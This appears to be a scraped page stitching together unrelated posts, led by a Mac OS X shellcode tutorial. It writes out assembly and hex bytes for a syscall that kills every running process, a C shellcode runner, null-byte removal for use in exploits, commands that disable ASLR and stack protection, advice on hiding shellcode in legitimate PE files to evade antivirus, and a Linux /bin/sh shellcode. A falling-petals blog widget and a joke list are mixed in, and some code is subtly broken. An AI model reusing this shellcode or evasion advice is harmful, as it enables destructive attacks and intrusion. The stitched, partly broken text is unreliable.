Writing shellcode under mac os x - part 0x01


Almost every tutorial about writing the shellcode, usually begin with an example of attempts to use some sort of syscall in assembler mnemonic code, translate to the hex values, and very next of implement to the C language or even some vulnerability application. So similary to them, this brief introduction will be devoted for sys call handler indeed. Short description of our environment : mac os x (darwin kernel), xcode package (including development tools like: GNU C/C++ language compiler, GNU debugger, otool, nasm assembler, linker etc.). During daily work under a macintosh os, we will see some subtile differences in ie. architecture of kernel, resources management, interrupts handlers, virtual memory accessing and the others. So first of all, the main aim of this “tutorial” appart of a shellcode ofcourse, will be show these distinctions (at least these listed above) and instruct step by step how to get rid of our habits acquired through the experience under other unix systems, specially these open source like: Linux, FreeBSD (as a curiosity, a darwin kernel is also a open source project), and avoid unecessary errors.

NOTE: The codes presented in this article will not be compatible with mac os PPC (Power PC x86 64), but it’ll work under BSD or Solaris. If You’re not sure, check before (eg. by command: uname -a)

Darwin lukas_ 9.8.0 Darwin Kernel Version 9.8.0: Wed Jul 15 16:55:01 PDT 2009; root:xnu-1228.15.4~1/RELEASE_I386 i386.

You may also use a command like sw_vers or hostinfo (directly from a text terminal level):

Firstable we have to figure out where is the storage of our sys calls table.

#less /usr/include/sys/syscall.h

ifndef _SYS_SYSCALL_H_

#define _SYS_SYSCALL_H_



#define SYS_syscall 0

#define SYS_exit 1

#define SYS_fork 2

#define SYS_read 3

#define SYS_write 4

#define SYS_open 5

#define SYS_close 6

#define SYS_wait4 7


#define SYS_kill 37

or a bit simpler:

sh-3.2# cat /usr/include/sys/syscall.h | egrep -i sys_kill

#define SYS_kill 37

Below is the example mnemonic code for call a method sys_kill.

section .data

section .text

global _start


xor eax, eax

push 0x09

mov eax, -1

push eax

xor eax,eax

mov al, 37

push eax

int 0x80

on the beginning, we define our separate sections (segments) towards text and data and global variable ie. opening label: _start
after that, we focus on particular parts of assembly code which send a sys_kill signal to a specific process identifier (in this example to all running processes and services) using a kernel mode.

37 - number of syscall - sys_kill (compare with a syscall table above)
EBX = PID  number (look at the specification below)
ECX = signal identifier


First two lines resets a %eax register and push hex value 0x09 on the stack, what is synonumous to put the same value into EBX register, and this means number of signal - in this example SIGKILL.
Next, we inform what is the identifier of process that we need to shutdown. A value -1 means every running process including child processes started by the others. Now once again we shall a reset the register eax,  and add to the AL register system call number (37) and call the kernel interrupt  0x80.

sh-3.2# nasm -f macho killer.asm

NOTE: mach-O is an executable format under the 32-bit mac os, similar as ELF in Linux.

sh-3.2# ld -o killer killer.o
ld: could not find entry point “start” (perhaps missing crt1.o) for inferred architecture i386

Uppps, huston, huston we’ve got a problem ;) This if first habit for users with background in Linux - _start is an entry point but not for linker program under mac. How to solve that? We have at least two distinct methods. First is a change a name of label into start (instead of _start that we defined) directly in source code. Second, we can use a specific switch straight from command line.

sh-3.2# ld -e _start -o killer killer.o

Now you can try how our masterpiece works. And one attention - better do not run it when you are logged as a root , unless you necessarily want to reset your machine, cause the execute this code may have unpredictable effects. But there is one inaccuracy. But before i’ll discuss further details, lets try to disassemble our binary file, build a plain shellcode and embed in C language.

sh-3.2# objdump -d killer
sh: objdump: command not found

Forget about it. We have to get acquainted with the other tool, actually otool. (i recommed see the man page first).

sh-3.2# otool -tv killer

(__TEXT,__text) section
00001fec    xorl    %eax,%eax
00001fee    pushl    $0x00000009
00001ff3    movl    $0xffffffff,%eax
00001ff8    pushl    %eax
00001ff9    xorl    %eax,%eax
00001ffb    movb    $0x25,%al
00001ffd    pushl    %eax
00001ffe    int    $0x80

sh-3.2# otool -t killer
(__TEXT,__text) section
00001fec 31 c0 68 09 00 00 00 b8 ff ff ff ff 50 31 c0 b0 
00001ffc 25 50 cd 80 

and our C language code with embeded shellcode obtained by the otool (see above)

#include <unistd.h>

char code[] = “x31\c0\x68\x09\x00\x00\x00\xb8\xff\xff\xff\xff\x50\x31\xc0\xb0\x25\x50\xcd\x80”;

int main(int argc, char **argv)
/*creating a function pointer*/
int (*func)();
func = (int (*)()) code;


But at this point a little problem has occurred. So called, golden rule of writing the shellcodes proclaims, that the null bytes are not allowed. If we had to exploit this shellcode in some vulnerable program, it wouldn’t be work. Null byte is treat as the end of string. But before i’ll show how to get rid of them from our code, most appropriate would be to explain where actually did they come from. Lets take a look once again on the diassembly code, but now using more efficient debugger.

sh-3.2# gdb killer
GNU gdb 6.3.50-20050815 (Apple version gdb-960) (Sun May 18 18:38:33 UTC 2008)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB.  Type “show warranty” for details.
This GDB was configured as “i386-apple-darwin”…Reading symbols for shared libraries . done

(gdb) disas start
Dump of assembler code for function start:
0x00001fec <start+0>:    xor    %eax,%eax
0x00001fee <start+2>:    push   $0x9
0x00001ff3 <start+7>:    mov    $0xffffffff,%eax
0x00001ff8 <start+12>:    push   %eax
0x00001ff9 <start+13>:    xor    %eax,%eax
0x00001ffb <start+15>:    mov    $0x25,%al
0x00001ffd <start+17>:    push   %eax
0x00001ffe <start+18>:    int    $0x80
End of assembler dump.
(gdb) x/bx start+0
0x1fec <start>:    0x31
(gdb) x/bx start+1
0x1fed <start+1>:    0xc0
(gdb) x/bx start+2
0x1fee <start+2>:    0x68
(gdb) x/bx start+3
0x1fef <start+3>:    0x09
(gdb) x/bx start+4
0x1ff0 <start+4>:    0x00
(gdb) x/bx start+5
0x1ff1 <start+5>:    0x00
(gdb) x/bx start+6
0x1ff2 <start+6>:    0x00
(gdb) x/bx start+7
0x1ff3 <start+7>:    0xb8

If we’ll investigate a code and compare places where null bytes appears, we can see that they occurs exactly three times, and exactly after that we put a signal number on a stack. As you surely remember we used to that a special register EAX. But %eax has a 32 bit amount, and we allocated only one hex value, what is equal 8 bits. So, where is the rest 24 bits? Yeah, you guessed, in these three null bytes - each represents 8 bits, and is empty. How to fix it? I’ll surprise you, it’s more simpler than you think. Consider following example.

mov al, 0x09
push eax
xor eax, eax

So replace the line “push 0x09” within code above and check results.

sh-3.2# otool -t killer
(__TEXT,__text) section
00001fec 31 c0 b0 09 50 31 c0 b8 ff ff ff ff 50 31 c0 b0 
00001ffc 25 50 cd 80 

Getting started with shellcoding x86 style

Running shellcode on most linux operating systems has a few prerequisites, basically you need to disable some security features, otherwise all your going to get is a heap full of segmentation faults.

To disable stack randomization open up the terminal and use:

sudo sysctl -w kernel.randomize_va_space=0

I’m using this little template to test shellcode (found at: http://www.vividmachines.com/shellcode/shellcode.htm)

char code[] = “Byte code goes here”;
int main(int argc, char **argv)
  int (*func)();
  func = (int (*)()) code;

To get it to work its going to require some extra compilation flags:

gcc -fno-stack-protector -z ExecOnStack shellcodetest.c

then run it:


how to make your own falling objects for your blog

1: get the base code aka the falling rose petal code here (i edited it a bit for your convenience)

2: get 1-4 images that you want to be falling and use an image editing program (photoshop, gimp, preview, paint) to downsize it if its too big (preferably resize it to 28x26 px) and to make it transparent ( to save you the hassle of making it transparent here is a tumblr with already made transparent images )

3: upload them to an image hosting website (tinypic is a good website) and get the link for the image

4: back to the falling rose petal code, copy the image links where it says IMAGE LINK HERE, 2ND IMAGE LINK HERE etc.

and you’re done! sadly this will only work on your blog (eg: yours is cat themed and a friend wants to have the same, they’ll have to do the code step by step :((((( )

I love reading about stuff like this.

Some time ago a friend asked in a private mailing list about possible ways to embed a shellcode in one executable file (PE) and ways to bypass AV detection. I recommended him to use any Windows supplied PE file (or any other ‘goodware’ PE file) and patching some “always called function” with the shellcode. It turned out to be one of the many possible AV evasion techniques that seems to work in many cases.

He also provides a script that works with Pyew for embedding a shell. Natch.

21 bytes Linux 32-bits /bin/sh shellcode, nom nom:

global _start

        xor eax, eax
        sub esp, 8
        push 0x68732f2f
        push 0x6e69622f
        mov ebx, esp
        mov al, 0xb
        int 0x80

I like my girls:

  • Pale
  • Blonde
  • Cute
  • Sleepy, in sweats, watching movies
  • Flooding shellcode at a buffer overflow
  • Writing a PoC for a 0-day she found
  • Preferably all of the above simultaneously

Whyyyy does she have to be getting married in like a week.